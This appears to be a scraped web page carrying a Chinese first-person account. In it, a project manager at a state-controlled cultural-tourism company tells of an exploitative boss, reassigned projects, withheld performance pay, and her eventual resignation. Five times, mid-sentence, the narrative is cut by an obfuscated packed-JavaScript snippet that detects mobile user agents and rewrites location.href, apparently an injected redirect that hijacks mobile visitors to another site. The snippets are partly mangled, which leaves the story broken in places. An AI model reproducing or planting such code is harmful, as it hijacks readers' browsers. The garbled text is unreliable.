每接一个项目,我至少要加三个人的微信,分别对接不同层级、不同条线的问题。大多是国企单位领导,无论遇到多么离谱的要求,都不能有情绪,只能客客气气地先应着。即便是他们手下的工作人员,也不能轻易得罪。 项目多在外地,有时只能我一人前往。汇报现场往往坐着一圈人,意见纷杂,我需要一一回应、反复解释,有时吵到面红耳赤,真不知道都是硬撑下来的。 好几次方案交上去,都得到了甲方的高度认可。或许是因为出身设计,我对 PPT 的呈现格外在意;又因为个人偏爱传统文化,标题和文案里常会用到诗词典故,看起来至少体面、大气。 “厉害啊,素素,”倪总盯着电脑屏幕夸我,“你是真有东西在手上的。” 以前我一直以为,只要方案足够好,项目就能顺利推进。后来才慢慢明白,方案充其量只是锦上添花,从来不是决定项目能否落地的关键因素。意识到这一点后,我对后续类似的方案,已经很难再投入最初的热情。 直到下半年,在我们接洽的几个项目中,有一个被单独拎了出来。我们先后争取到省市区级领导的关注,随后又明确得到集团母公司的支持,才终于完成立项。 从 2024 年开始,我几乎把全部精力,都投入到这个文旅项目中。 3 这个项目由我司发起,联合集团母公司,引入一家历史悠久的文化央企——首山堂,在省会城市的 5A 级景区内,投资开发一个文化艺术空间,暂定名为“云居阁”。 集团母公司、文化央企、5A 景区,三方联合,天然带着政治与文化属性,也因此得到了省委宣传部和□□的高度重视。 按照最初的设想,这个云居阁项目并非终点,而是一个开始。各位大佬真正的目标,是借助集团母公司的影响力,将这一模式复制到省内其他著名景区。而这一点,正是吸引首山堂投资的关键。 在项目结构中,集团母公司与首山堂作为投资方,我司则是主推方及未来的实际运营方。而项目标的所在的 5A 景区,又隶属于省直管单位——从某种意义上说,参与其中的各方,对我司而言都带着“领导单位”的属性。 项目立项后,几乎全程由我单线跟进。前期,我跟着倪总四处汇报,不论是否真正需要,总要多跑一趟,多讲一轮,希望能争取到省、市,甚至区一级更多的支持。 起初我以为,项目无非是租下场地、完成装修,再按规划引入业态即可落成。可真正推进起来才发现,事情远比想象中复杂。仅一个租赁合同,就需要依次通过景区管理公司、上级集团企业、再到更高一级的集团母公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113981|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这三关是关关难过,关关要过。 所有经手的领导都清楚这个项目的重要性和特殊性,也因此格外谨慎。直到两年后我离开公司,这份租赁合同,依然没能签下来。 除了业主方层层审批,集团母公司基于投资所需的各类材料,也需要我逐一整理、反复汇报;而远在北京的合作方,同样由我一人对接。 为了给项目预留更多的业态选择,倪总还会找来一些外地公司让我对接,陪同他们前往项目标的实地考察,再回公司探讨种种合作的可能。 就这样,一个体量庞大、结构复杂、牵涉多方的项目,被完整地压在我一个人身上。 4 表面上看,这只是一个租赁合同,但每一条商务条款,都需要依次经过景区内部过会、集团过会、集团母公司过会。更棘手的是,这些会议从来不是一次就能通过,有时要反复两三轮,一卡就是一两个月。 只要条款稍有调整,前面的流程便需要全部重走一遍。 项目标的的租金一路上涨:最初是每年三十万,后来变成六十万、九十万,最终定在了一百二十万。仅仅因为租金的变化,我就不得不反复推翻原有测算,重做方案,重新汇报。 有一天在办公室,倪总看着我为了项目忙得焦头烂额,忽然开口。 “首山堂不是你一直想合作的吗?这不都是你自己喜欢的事吗?你现在又这样。” “对我来说,没什么喜欢不喜欢的,”我说,“工作就是工作。” “那就用心去做啊!” 我没接话。 他又问起前一天刚聊过的一家 AR 公司:“那家怎么样?” “还可以,周总看上去人不错,我们提的条件他基本都能接受。” “不要见一面就说人不错,”倪总皱了皱眉,“你哪天被人卖了都不知道,还帮人家说好话。” 我依旧沉默。 “你现在是甲方,收起你对乙方的怜悯心,收起你的菩萨心肠,你是搞经营的,要杀伐果断!” 作为甲方,倪总喜欢用压制和博弈的方式去合作。别人退一步,他往往要进三步,直到对方退无可退,甚至还要再往前逼一点。我不否认这是一种有效的商业手段,职场上本就谈不上什么温情脉脉,更多时候只剩下利益。 只是我有我自己的行事方式。公司的利益我当然要维护,但我更在意的是一种平衡,或说“相对公平”,而不是过分压榨,不是一家独大。我希望合作的另一方,是心甘情愿把事情做好,而不是被逼到墙角。尤其是创意类工作,更需要对方作为专业人士的内驱力。 倪总的沟通方式,从来不是就事论事,总喜欢谈感情上价值,让人很难回应。久而久之,我学会了沉默。 等他说得差不多了,我再起身离开,继续把该做的事做完。 9. 第九章 5 公司的氛围经常处在一种沉闷的安静里。大多数时候没有任何声音,偶尔能听见新媒体部门几位女同事叽叽喳喳聊八卦的巨大噪音,反而让人更加烦躁。 除我之外,公司里还有一位项目经理,叫陈飞,负责体育板块。他个子高,身材结实,一看就是体育出身。我们之前在同一个部门,有过配合。前总监离开,他跟着倪总转向体育相关项目,一头扎了进去。我对他的印象一直不错,性子老实,很爱自己老婆。 我和陈飞的处境很相似:一人盯着一个板块,一个人就是一个部门。除了要对接项目本身,还要处理大量部门内务——职责制度、人员规划、招聘信息、绩效考核、奖金机制、资金测算。照理说,这些工作本该由人事和财务承担,可在倪总这里,全都成了我们的工作。 他的理由只有一句话:“公司里还有谁比你们更了解你们自己的部门?” 事情一多,人就会变得压抑,总需要一个出口。我们彼此都很清楚对方在扛什么,免不了会聊几句,也常常一起吃饭。可倪总并不喜欢,甚至明确反对我们谈论各自的项目——明明不是什么商业机密,却被视作“多余的交流”。 也因此,我和陈飞挨过他不少批评,说我“大嘴巴”,一点事情到处说。可他不可能时时刻刻盯着我们。我们是同事,有交谈再正常不过。有一回我实在忍不住,直接回了一句: “我们是同事,又不是竞争对手,探讨一下公司的项目很正常啊!我们也没有其他同事,总不能一直闭门造车吧,我也需要多听听别人的意见啊!这也是为了把工作做好。” 他却反问我:“我不是你同事吗?你找我探讨不是一样的嘛?为什么非要搞得那么复杂呢?” 我心道,你是可以一起探讨的同事吗?你是老板好不啦! 他虽然也会像朋友那样和我开玩笑,但我很清楚,我们实际上从来不存在对等的交流。他交代的事,我不能不做。他的决定,我也无法真正反驳。 世上当然有像朋友一样的老板,但倪总不是。他始终站在一个俯视我们的位置。 在他面前,我们只能妥协。 后来,他大概也意识到我和陈飞不可能不谈论工作,索性就把我们叫进去一起开会了。 6 在倪总看来,只要把项目交到我手里,与之相关的一切事务,便理所当然由我独自完成。 有些条件我谈不下来,他偶尔会出面协调。事情解决之后,他会觉得自己是在“帮我”。有时看他心情好,我会笑着说:“拜托,这是在帮我吗,这是我的项目吗?这是在帮我们好不好!” 项目推进过程中,时常需要拜访层级很高的领导。可我毕竟只是个经理,很多时候走出去,便能明显感到力量的单薄,被人轻视。我也曾邀请倪总和我一同前往—— “你要自信一点,”他总是这样说,“不要怕。你总是要独当一面的,不能什么事都依靠我。” “这不是自不自信的问题,”我解释,“这是个尊重的问题。层级不对等,有些事人家不会跟我谈。” “没有你想得那么复杂,”他很快打断我,“你先去,实在不行我再出面,这总可以了吧?” 我没有再说话。 明知道许多拜访注定不会有结果,我还是得按他的安排走完流程。对方是否接待、是否认真回应,并不在我的掌控之中。 很多对接过的工作人员,都默认我薪水应该很高,至少一万五以上。可实际情况是,我只有基本工资,每个月到手八千出头。顶着项目经理的头衔,做着总监级别的工作,这种落差本身,就已经让人疲惫。 或许正是这种长期消耗,让我总在不经意间显露出力不从心的状态。倪总对此极为敏感,他很快会把话题引回到“机会”本身—— “这不是你自己想做的事吗?你不是喜欢文化艺术吗?” “你以为普通人有多少机会可以和首山堂合作?你还不好好珍惜!” “这事要是做成了,绝对是你履历上最出彩的一笔。” “我早就说过,只要你把工作做好,合同金额 2% 的奖金都不是问题。” 作为美术生,有机会和悠久历史的文化央企合作,近距离接触到传世名画,确实很值得期待。 正是这些期待,让我在这个项目里越陷越深。 等到我真想离开时,沉没成本已经高得难以估算。 7 云居阁项目仍在缓慢推进中,倪总又带我接洽了一个新的项目。 那是市里唯一的植物园。园内共有四个场馆,其中一个号称亚洲之最,一个是国内之最。项目由市政府与社会资本共同出资,计划在年底前完成招商并投入运营。 更关键的是,这个植物园还是一个“园中园”。在它外围,是省内首个国字号现代农业园,整体面积达到六万亩。若能拿下植物园的运营权,整个农业园的后续合作,几乎顺理成章。 据说在此之前,项目方已经和广电集团接洽得差不多了。 那是一个闷热的正午,我连午饭都顾不上,便和倪总驱车一个小时赶到植物园,与项目公司的负责人见面。对方作为社会资方代表,带着我们在园区内实地参观。 这是一个热带植物园,包含三个温室馆和一个科普馆,占地面积约两百亩。 因为背后有日报集团作为支撑,项目公司最终还是决定给我们一次方案汇报的机会。 接下来的两天,我几乎没有再分心做别的事,为这个植物园单独做了一套运营方案。 第三天一早,我和倪总准时抵达项目公司总部。会议室里坐着五位负责人。我负责完整汇报方案。 汇报结束后,对方总经理直接给出了评价—— “你这个方案里提出要走中高端路线,这一点我是非常认可的。包括亲子乐园、疗愈、露营这些方向,我都觉得很好。我们这里离城区这么远,游客好不容易来一趟,总要提供一些场景,让他们能舒舒服服地待上半天甚至一天。比如你刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113982|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才说的,妈妈带着孩子过来,可以放心把孩子交给乐园的老师,自己去植物园看看书,或者做个 SPA,这个逻辑是通的。其他方案都在强调亲民路线、免费开放,我反而觉得不太适合。” 这是我第一次在公开场合,听到甲方对我方案的完整认可。 但我心里也很清楚,这样体量的项目,仅仅方案被认可远远不够。它还需要更复杂的博弈,以及各方力量的重新平衡。 好的方案,不过是一张入场券。 8 从最初接触开始,我跟进了大半年时间。 期间不仅要与项目公司反复沟通运营方向,还需要逐一对接园区涉及的各个职能部门。方案只是其中最直观的一环,更棘手的是项目背后的资金与合规问题。 如果我们希望真正参与运营,就必须争取集团母公司的投资支持。按照初步测算,项目落地后的第一年,仅前期投入就需要垫资两千万元。这意味着,单靠甲方认可远远不够,还必须在集团内部完成一整套严格的决策流程。 为此,我需要配合整理并反复完善大量基础材料:包括成本测算、收益模型、项目评估、尽职调查、可研报告、法律意见书等,每一项都要经得起反复推敲和审查。 在推进植物园项目的同时,我还需要同步跟进云居阁项目的相关事项。两个项目交叉推进,时间被切得极碎。很多时候,我并不确定这些准备是否真的会换来结果,只能不断往前推进。 如此马不停蹄地忙了大半年,尽管困难重重,项目最终还是落定了。 当时我仍在同步推进云居阁项目,倪总见我一时分身乏术,便让人事总监姚总协助我完成植物园项目招投标流程的收尾工作,最终的公布时间,也由她跟进。 按照公司近来逐渐形成的惯例,一旦项目中标,人事部门会在公司群里发布一则喜报,说明由哪个部门、哪位同事负责,以示鼓励。同时还会安排一场茶歇,请全公司吃一顿下午茶。 而植物园项目中标的消息,我是在茶歇开始之后,才从旁人口中得知的。 招投标公司由姚总直接对接,可在她收到中标通知后,却没有提前告知我一声。 我特地翻看了公司群里的喜报,内容只写着“公司中标植物园项目”,通篇没有提及任何部门,也没有出现任何个人名字,与品牌部、与我本人,都毫无关联。 我记得很清楚,此前陈飞拿下某体育馆项目时,喜报里不仅写明了具体部门,也指名道姓标注了负责人。为什么到这个项目,一切都变成了“公司的”? 我为此专门去询问了发布喜报的人事同事。她有些为难地告诉我,最初的文案里确实写了我的名字,但姚总看过之后明确要求不要出现任何部门和人名,说这是公司行为。 我事情还没想明白,企业微信上便弹出一则会议邀请—— 发起人:姚总。 会议主题:植物园项目头脑风暴会。 这是我的项目,为什么是她在发起会议? 10. 第十章 9 我第一时间把会议通知截图发给倪总,问他:“这是什么情况?” 他很快回了一句:“不知道啊。” 我沉默了一会儿。 紧接着,他又补了一句:“我来找她。” 不久后,姚总进了倪总的办公室。两个人聊了很久,直到会议开始前都没有结束。 所谓的“植物园项目头脑风暴会”在大办公室召开,全公司的人几乎都到了。我没办法不去,也正好想听听,姚总到底打算怎么说。 会议开始后,等了好一会儿她才来。像什么都没发生过一样,先是简单介绍了一下项目背景,说明了开会目的,然后点了我的名字。 “素素,这个项目前期一直都是你在对接,关于业态规划,你有什么想法可以跟大家分享一下吗?” 我脸色很难看,只回了一句:“我没什么好说的。” 我态度里的不配合,在场的人大概都能感受到。但姚总并未在意,很自然地接过话头,开始阐述她自己的设想。 我低头给倪总发信息:“所以这个项目跟我没关系了是吗?” 他回得很快:“什么叫没关系?你不是公司的员工吗?你要做我可以给你做,你忙得过来吗?” “就算要交给姚总,也该提前跟我说一声吧?” “我没有跟你说过吗?” “算了,无所谓了。” “你来。” “我在开会,没什么可说的。” “你他妈的,我要跟你说别的事!” 看到这句话,我心里的火一下子窜了上来,立刻冲进了倪总的办公室,准备和他正面摊牌。 出乎意料的是,他看见我这副样子,竟然噗嗤一声笑了出来。 那一瞬间,我意识到——他在心虚。 “至于这么生气吗?”他笑着说,“都是同事。” 我强迫自己冷静下来,理了理思路:“这个项目是公司的资源,公司要怎么安排我都尊重。但这个项目我跟了大半年,投入了大量精力,现在要转给别人,至少应该提前跟我说一声吧?” 见我语气严肃,他也收起了笑容:“我没有跟你说过吗?那天我们从项目公司回来的路上,我不是说过,如果你手上两个项目同时落定,你会忙死!” 我愣了一下。原来在他看来,这就算是交代过了。 “算了,”我说,“翻篇了,不想再提。” 不翻篇又能怎样呢?把项目强行要回来吗?那可是一个千万级项目,背后牵扯着社会资本、政府资金,还有农业局、市财政等多个部门,关系错综复杂。如果我不是他真正想要交托的人,他不会为我承担任何风险。一旦出了问题,我会吃不了兜着走。 好一招过河拆桥,这个时候把我摘掉,那之前说好的项目奖金不也就可以省了嘛?! 走吧!离职吧!不干了!太恶心了! 可这个时间点离开,未免太便宜他了。 景区项目已接近落成,说好的合同金额 2% 的提成还悬在那里。 我不能在这个时候掀桌子走人。 10 在这件事情发生之前,我一直把姚总当作知心大姐。 工作中遇到棘手的问题,或者和同事之间有什么不愉快的事,我会去找她吐槽。而她总是很耐心地开导我,跟我说笑。我仍旧不相信,是她主动发起了那次会议。 可往深处想,其实也不难理解倪总的选择。姚总既是公司股东,也是早期元老。更重要的是,她极为擅长“向上管理”,这一点,是我后来才慢慢发现的。 而我呢?在倪总眼里,我或许有些能力,但并不好掌控,更谈不上忠诚。 并不是我做错过什么事,而是我没有明确站在他这边的立场。 公司转为国控之后,董事长和副总经理均由集团母公司委派。他们并不直接参与日常经营,更多承担监督职责。可公司虽然完成了股权结构的转变,内部运作却仍沿用着私企时期的逻辑。 倪总习惯把公司视为自己的领地,不喜欢事无巨细地向集团同步信息。可一旦涉及签字审批,董事长和副总自然会追问细节。问不清楚,他们就拒绝签字。 表面上,倪总与他们称兄道弟;私下里,却对这种“外来监督”颇为不满。他不希望员工与集团的人走得太近,却又希望事情能在最短时间内办成——典型的既要又要。 可我手上的项目都需要集团母公司直接投资。这意味着,董事长和副总并非可有可无的存在,而是连接我司与集团的关键节点。对我而言,只要保持正常、专业的工作沟通,很多事情便能推进得顺畅许多。 这其实并不需要刻意经营关系,只需要给予应有的尊重。 我很清楚,他们最在意的,并不是项目本身,而是信息的不同步。项目推进过程中,如果从未向他们汇报进展,一旦上级追问,他们便是一问三不知。 所以我会定期汇报项目进度,让他们知道项目进行到哪一步、遇到了什么问题、下一步打算如何协调。久而久之,他们在我这里感受到的是一种被尊重、被告知的状态。 也正因为如此,我发起的审批流程往往能更快通过。到后来,一些原本应该由董事长下达给倪总、再由倪总转达给我的事项,开始直接落到我这里。 这让我夹在中间,进退两难。 为了消除倪总的疑虑,我甚至会在他面前刻意表现出对董事长和副总的不满。写到这里,我自己都忍不住想笑——我这样的人,竟然也学会了逢场作戏。 11 相比之下,陈飞和我是不一样的。 他是男生,性格也更直爽,经常和倪总一起打球,两人之间的相处方式显得更轻松,也更像“自己人”。至少在表面上,倪总对他的信任,确实比对我要多一些。 更重要的是,陈飞和集团那边的关系一直很差、非常差。 这一点,并非偶然。倪总在我面前就不止一次挑拨过,说我对集团来的人态度太软,没骨气,“别人都骑到你头上了,你还这么尊重他们”。陈飞那边,自然也少不了类似的引导。 后来陈飞私下和我提过,他是被倪总明确要求“必须站对”的。 按倪总的逻辑,这样的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113983|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是安全的。 可忠诚于他的人并没有得到更多的优待 。 有很长一段时间,陈飞为了筹备体育馆几乎每天忙到十一二点,没有周末,也没有节假日。有一天深夜,他突然给我打来电话,没有任何铺垫,情绪失控地吼了一句: “倪总这个大傻逼!简直是把我们往死里用啊!卧槽!” 我差点惊掉下巴。 以前一起吃饭聊天时,我吐槽老板远比他多。陈飞毕竟成了家,有了孩子,性子比我稳重,总是反过来劝我:“习惯就好,你不去适应你有什么办法呢?!” 所以当我第一次听到他这样失控地大骂,我想他一定是被逼到极限了。 “怎么了?发生什么事了?”我问。 电话那头沉默了很久。我没有催促,只是陪他一起沉默。 过了好一会儿,才传来一声极重的叹息。 “算了,没事。说不清楚。” 我不知道该怎么安慰他。但我很清楚,他刚有了孩子,不可能轻易离职。也正因为如此,他才总是劝我“习惯就好”。 需要说明的是,陈飞的绩效工资,和我是同一时间被停发的。他的基本工资甚至比我还低,每个月到手不到八千。可他一个人负责一个场馆,为了项目推进,还要频繁应酬,请客吃饭。平日通勤自己开车,油费也是一笔不小的开支。 所以,他的处境,并没有因为“站对了队”,而变得好一些。 12 在植物园转移给姚总之前—— 集团母公司最高层领导人带着大大小小一群领导,要来考察我们公司的三个项目——体育馆、植物园和云居阁项目。 对子公司而言,这是一次极难得的机会。集团旗下子公司少说也有几十家,能让社长亲自抽出整整一天时间下来走项目,本身就意味着关注和分量。如果汇报得当,很可能为后续争取到更多资源和支持。 前期准备工作由董事长、副总和我共同完成。我们需要提前向各景区发函,协调陪同领导名单、行程路线以及时间安排,每一个细节都要反复确认。 考察前一晚,倪总给我打来电话,逐条叮嘱我第二天需要汇报的要点。 虽然我对体制内的运作并不算熟悉,但也知道,像厅长这个级别的领导,无论走到哪里,至少都是由公司最高负责人出面接待和汇报。可到了我们这里,却变成由我这个项目经理上前? 我提出了自己的顾虑,“倪总,我觉得明天这种场合,还是你去汇报比较合适。” “哎呀,你怕什么?”他立刻回道,“这是多好的露脸机会,别人上赶着都还轮不到,你怎么还不珍惜?” “这不是怕不怕的问题,”我解释,“是不合适!” 要说不怕是假的,在社长要视察的三个项目里,其中两个都是我负责。一旦汇报不到位,影响的不只是我个人表现,而是社长对整个项目的评估,这可能牵动后续投资部门的判断。 “怎么不合适?”倪总追问,“你是最了解项目的人,你不上谁上?” 我没有再继续争辩,“好吧,行吧。” 11. 第十一章 13 第二天,社长一行依次考察了体育馆、植物园和云居阁这三个项目。 体育馆项目由陈飞负责接待和汇报,他带着领导们在场馆内转了一圈,介绍了整体规划和推进情况。随后两个项目,则由我负责向领导们进行汇报。 视察云居阁项目时,我鼓起勇气站到了社长身边,开始对各位领导进行汇报。当时陪同在社长身后的除了集团内部的领导,还有景区的几位领导。 从始至终,倪总都跟在我身后,仿佛在审视我的工作。 送领导们离开以后,我好不容易放松下来,倪总没有一句肯定,却是满脸不悦地说:“你今天汇报得也不怎么样嘛!我让你讲的文创部分,你怎么没说?” 按照我们的整体规划,文创经营确实是云居阁项目最重要板块之一。但问题在于,景区有他们自己的文创品牌在经营,而且非常成熟,曾明确表示不允许我们在景区内经营同类产品。 “当时景区领导就在旁边,”我解释,“如果贸然提到这块内容,很容易被理解成抢他们的生意。现在租赁合同都还没签下来,我觉得还是谨慎一些比较好。” “那有什么关系!” 我心道,如果文创的事真的那么重要,你自己为什么不上前补充? 真是不讲道理,话不投机半句多。 社长考察结束的第二天下午,集团副总经理葛总,也是我们公司的分管领导,把我们公司和项目有关的人一并叫到了办公室,转达社长的相关指示,并就三个项目作出一些安排。 会议中,他突然摆出轻松的姿态,闲聊似的问道:“你们身边有没有什么人才可以挖一挖的?集团现在求贤若渴。要是有合适的,可以推荐,举贤不避亲嘛。” 大家闻言笑了笑,一时间无人应声。 他随即看向我和陈飞,语气很自然:“素素,陈飞,你们想不想进到集团来?我觉得你们两个还挺合适的。” 我和陈飞都愣住了。 还没等我们作出回应,他又转向倪总:“怎么?不高兴啊?这有什么关系?他们就算进了集团,不还是继续跟你做事!” 办公室里顿时尴尬极了。我甚至记不清会议是怎么结束的。 事后我和陈飞私下聊起这件事,都明白一位副厅级干部不太可能随口开这种玩笑。那番话或许真的带着招揽的意味,但更像是对鲁总的敲打。 14 云居阁项目已经差不多两年了。 三方协议和租赁合同依旧迟迟未签,但所有核心商务条款其实已经基本敲定。剩下的,不过是时间和流程问题。只要再往前走一步,项目就算是落地了。 这两年里,景区的领导班子换了一轮又一轮。每换一轮,之前谈妥的内容就要重新解释一遍。我一直怀疑景区是不是有意拖延,并不是真的想把那栋楼王租给我们。 可真正让我感到煎熬的,并不是这些反复无常,而是倪总。 他竟然毫无预示的,给我部门新招了一位运营与渠道总监,叫慕雅琴。 倪总介绍她时,说道:“这小姑娘人很聪明,对数据非常敏感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113984|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前是我们公司新媒体部门的经理,做得不错,后来自己出去创业了。” 听到这个消息时,我像被当面打了一记耳光。 他随即开始为我“重新规划”职责。 “你不是一直说自己对数据不敏感,不会算账吗?我特地给你找了个会算账的。以后你们两个好好配合,她负责产品规划和运营,你负责设计。”他顿了顿,又补充道:“简单点说,就是她负责运营,你负责品牌和文创设计。” “文创设计?”我下意识重复了一句。 我曾经不止一次强调过,我已经转行,不想再做设计。 “对啊,”他说,“不只是景区这个项目,植物园、体育馆也都需要文创产品,还要做品牌包装。公司的 VI 也一直没做,你正好一起梳理下。” 我忽然明白了,这是要卸磨杀驴呀? 当初植物园项目被摘掉时,我没有一气之下辞职,因为我觉得云居阁项目临门一脚了,我想看个结果,也算有始有终。可后来也担心,会不会等云居阁项目拿下来以后,我会再度被摘掉。 可转念想到集团葛总和首山堂钦总对我的肯定,我觉得倪总多少会有所顾忌。没想到,最担心的事情还是发生了。这个人,根本不能按常理推断。 我已经没有力气再争辩,没好气地回了一句:“行吧。” 他显然对我的态度感到不满,语气立刻冷下来:“就这些,你去吧。” 走出办公室的那一刻,我心里异常平静。 蠢货,离职吧,别再犹豫了! 12. 第十二章 2025 年 3 月中旬,我终于下定决心离职。 在此之前,关于这个决定,我反复权衡过很多现实层面的代价——爸妈的失望、对未来的不确定,以及再次陷入长期失业的恐慌。这些顾虑,让我迟迟无法迈出这一步。 我原以为,对父母的交代会是最难面对的一关。却没想到,真正无法接受我离职的,竟然是公司领导。在他们看来,我的离职并不像一个人的选择,更像是一件不该发生、也不被允许发生的事。 1 离职并非一时冲动。 来公司第一年,我独自负责了三个百万级文旅项目。项目落地后,公司在业内积累了不错的口碑,也实实在在赚到了钱。只是,当初承诺过的奖金一次也没有兑现。我被提拔为经理,职责扩大了,工资却没有任何变化。 第二年,公司以“降本增效”为由,单方面停发了每月两千元的绩效工资。我拿着一份固定的基本工资,承担着整个部门的工作——因为这个部门,自始至终只有我一个人。 第三年,我几乎把所有时间都花在项目拓展上。到第四年,我同时承担着两个千万级文旅项目的推进工作,而真正负责对接、协调和落地的,依旧只有我一人。其中一个项目落定后,倪总以我手上还有项目、担心我忙不过来为由,直接将项目转给了人事总监姚总。 那一刻我并不是没有动过离开的念头。 可想到另一个项目已经辛苦推进了两年,正是临门一脚的时候,我还是选择了留下来。毕竟投入了太多的时间和精力,我也想等一个结果。 直到后来,倪总为我空降了一位总监,并开始逐步将我手上的工作交接给她时,我才意识到—— 事情已经不是“我想不想走”的问题了。他显然已经为我的离开,提前做好了准备。 事已至此,继续留下去已经没有任何意义。我带着最后一点体面,主动向倪总提出了离职。 他的反应出乎意料。 他显得难以理解,甚至有些气愤。 “你在这个时候提离职,你是在开玩笑吗?” “你看我像是在开玩笑吗?”我反问。 “为什么?我不理解!” “有什么不好理解的?”我说,“我觉得我在这里已经发挥不了什么作用了。” 他沉默了一下,又问:“是因为慕雅琴吗?” 我犹豫了一会儿,回答说:“不是。” 是,也不是。 作为项目经理,我独自跟进了整整两年的项目,好不容易走到即将落地的阶段,他却为我空降了一位运营渠道总监,并开始让她逐步承接我的工作。这种安排,本身已经很能说明问题了。 所以我针对的,从来不是慕雅琴这个人。而是倪总做出的这个决定。 2 倪总这个人,谈话很有一套。 他从不正面拒绝,也很少直接答应,而是始终带着明确的目的推进对话—— 只要你没有点头,这场谈话就不会结束。 那是一种极其消耗人的沟通方式。 你很难从中得到任何实质性的回应,却会在反复拉扯中逐渐失去耐心。我很清楚,只要不顺着他的逻辑往下走,这场谈话就会被无限拉长,直到我先疲惫到妥协为止。 于是,我干脆把问题摊开,提出了自己的条件。 “倪总,我的绩效已经停了十个月了,什么时候能恢复?” 他几乎没有思考,语气里带着不耐烦:“怎么又提这个事?不是说了等项目合同签了就恢复吗?我说了,你先把绩效考核表做出来,这个也是要过会才能生效的。” “绩效考核表不是应该由人事部门负责制定吗?”我问。 “你是要她们给你定 KPI 吗?” “那我也不能自己给自己定 KPI 吧?” “你做好了我来定啊!”他说。 我一时无话可说。 “让你自己定又不好?”他反问。 “那之前停发的绩效,什么时候补?”我还是问了一句。 他的语气明显冷了下来:“我答应你的事情我不会不认,说了在项目提成里面给你补,怎么总是问?有这个时间,不如先把你们部门的提成方案做出来。” 他并不是不回答,而是在不断把问题推回到我身上。 所有需要他拍板的事,都会被转换成“你先把材料准备好”。 “行,我再想想。”我说。 这是我能抓住的、唯一一个结束对话的机会。我顺势起身,离开了他的办公室。 其实不管是绩效考核表,还是部门提成方案,我已经反复做过很多次。每次交上去又会被打回来,然后不断地修改,问题总是层出不穷,仿佛永远也得不到他的确定。 我一直觉得,只要他真心想定,把人事部门和财务部门的相关同事拉到一起,当场就能定,根本不需要拖延几个月之久。所以很明显就是有人不想这么快解决问题。 所以我根本不想再浪费时间。当时妥协并不是退让,只是为了尽快结束注定没有答案的博弈。 3 我有时会讨厌自己的优柔寡断。 如果我真的铁了心要离职,这件事或许并没有想象中那么难,我应该是可以很快离开的。 可一想到离职后,我很可能再次陷入一段漫长而不可控的失业期,心里就会泛起强烈的不安。这份工作,是我当年的第八份工作,也是我在反复更换、反复受挫之后,好不容易才等来的机会。 如果从这里离开,我甚至不确定,在这座城市里,我还能不能再找到一份比这更合适的工作。 更让我迟疑的,是爸妈那一关。 在他们眼里,这是一份可遇不可求的好工作:稳定、体面、有背景。如果我告诉他们我要离职,他们根本接受不了。在他们看来,我已经过了可以随意折腾的年纪,再做出这样的选择,只会让他们徒增担忧。 可让我真正下不了决心的,其实还有一个更深层的原因—— 我不仅想从这家公司离职,我还想离开这座城市。 这几年来,让我对这座城市已经彻底失去了信心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113985|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不是某一份工作的失败,也不是某一次项目的不顺,而是一种长期累积下来的疲惫感。总觉得在这里,无论我多么努力,始终得不偿失;无论我再怎么坚持,都看不到希望。 如可一旦牵扯到离开这座城市,事情的性质就完全变了。 那意味着要再次远离爸妈,意味着他们会失望、会担心,也意味着在他们最需要依靠我的时候,我选择了离开。他们会怎么想,我甚至不敢细想。 可如果继续留在这里,我迟早会被榨干。到那时,我可能连自己都照顾不好,又何谈照顾他们。 4 